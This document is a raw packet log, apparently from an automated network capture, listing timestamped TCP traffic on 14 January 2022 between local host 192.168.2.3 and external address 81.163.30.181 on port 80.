Jan 14, 2022 20:24:09.806747913 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.806794882 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.806819916 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.806885004 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.806943893 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.806993008 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.807005882 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807054043 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.807068110 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807128906 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807187080 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807235956 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.807240963 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807288885 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.807298899 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807358980 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807387114 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807416916 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807436943 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.807444096 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807467937 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.807471991 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807498932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807523966 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807545900 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.807550907 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807574987 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.807579041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807605028 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807626963 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.807632923 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807660103 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807682991 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.807689905 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807723999 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807750940 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807770967 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.807779074 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807804108 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.807812929 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807843924 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.807893991 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.866519928 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.866581917 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.866641045 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.866691113 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.866739988 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.866751909 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.866800070 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.866808891 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.866883993 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.866928101 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.866969109 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.866987944 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.867011070 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867017031 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.867050886 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867089987 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867116928 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.867130041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867168903 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867182970 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.867208004 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867247105 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867253065 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.867286921 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867336035 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867383957 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.867412090 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867450953 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867456913 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.867491007 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867532015 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867568970 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867580891 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.867609978 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867613077 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.867650032 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867687941 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867727041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867733955 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.867767096 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867774010 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.867808104 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867851019 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867889881 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867902040 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.867930889 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.867945910 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.867970943 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868010044 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868053913 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.868069887 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868110895 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.868156910 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868201017 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868240118 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868279934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868283033 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.868319988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868324041 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.868357897 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868397951 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868437052 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868442059 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.868475914 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868477106 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.868519068 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868556976 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868597031 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868597984 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.868637085 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868638992 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.868676901 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868716002 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868756056 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868760109 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.868797064 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.868801117 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.925618887 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.925682068 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.925734043 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.925772905 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.925793886 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.925832987 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.925853968 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.925887108 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.925939083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.925987005 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926026106 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926064968 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926073074 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.926105976 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926112890 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.926143885 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926182985 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926220894 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926228046 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.926260948 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926266909 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.926301003 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926337957 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926378012 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926393032 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.926429033 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.926440001 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926486015 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926526070 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926564932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926575899 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.926604986 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926609039 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.926645041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926682949 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926723957 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926729918 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.926763058 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926769972 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.926800966 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926850080 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926889896 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926896095 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.926928043 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.926935911 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.926969051 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927006960 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927047968 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927053928 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.927088022 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927093029 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.927125931 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927165031 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927203894 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927211046 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.927242041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927253008 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.927282095 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927320004 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927360058 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927366972 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.927401066 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927403927 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.927438021 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927476883 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927525997 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927537918 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.927565098 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927571058 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.927606106 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927647114 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927684069 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927695990 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.927725077 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927727938 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.927763939 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927804947 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.927853107 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.928553104 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.984678030 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.984767914 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.984828949 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.984859943 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.984879971 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.984975100 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985032082 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.985034943 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985094070 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.985141039 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985184908 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985227108 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985265017 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985276937 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.985304117 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985308886 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.985379934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985420942 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985459089 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985474110 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.985502005 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985510111 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.985578060 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985620022 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985657930 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985670090 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.985697985 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985711098 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.985739946 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985812902 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985873938 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.985888004 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985939026 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.985956907 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.985982895 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986022949 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986068964 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986073971 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.986118078 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.986136913 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986177921 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986216068 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986253023 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986265898 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.986294031 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986303091 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.986335993 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986376047 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986418009 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986426115 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.986458063 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986471891 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.986509085 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986573935 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986613989 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986628056 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.986654997 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986663103 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.986696959 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986735106 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986774921 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986788034 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.986816883 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986825943 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.986867905 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986906052 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986946106 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.986968994 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.986987114 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.987015963 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.987027884 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.987070084 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.987082958 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.987111092 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.987150908 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.987190962 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.987205029 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.987231016 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.987237930 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.987272024 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.987312078 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.987355947 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.988190889 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.045052052 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045094967 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045124054 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045133114 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.045161963 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045171022 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.045197964 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045226097 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045253038 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045269966 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.045284986 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045310020 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.045320988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045350075 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045367002 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.045380116 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045406103 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045414925 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.045442104 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045469046 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045495987 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045509100 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.045531034 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045572996 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.045603037 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045630932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045659065 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045670986 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.045695066 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.045708895 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045737982 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045766115 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045793056 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045803070 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.045828104 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045838118 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.045885086 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045913935 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045943975 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045953035 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.045983076 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.045989990 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.046017885 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.046046972 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.046086073 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.046572924 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.046605110 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.046622038 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.046642065 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.046672106 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.046699047 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.046710014 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.046735048 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.046742916 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.046772003 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.046802998 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.046835899 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.046850920 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.046871901 CET	80	49907	81.163.30.181	192.168.2.3
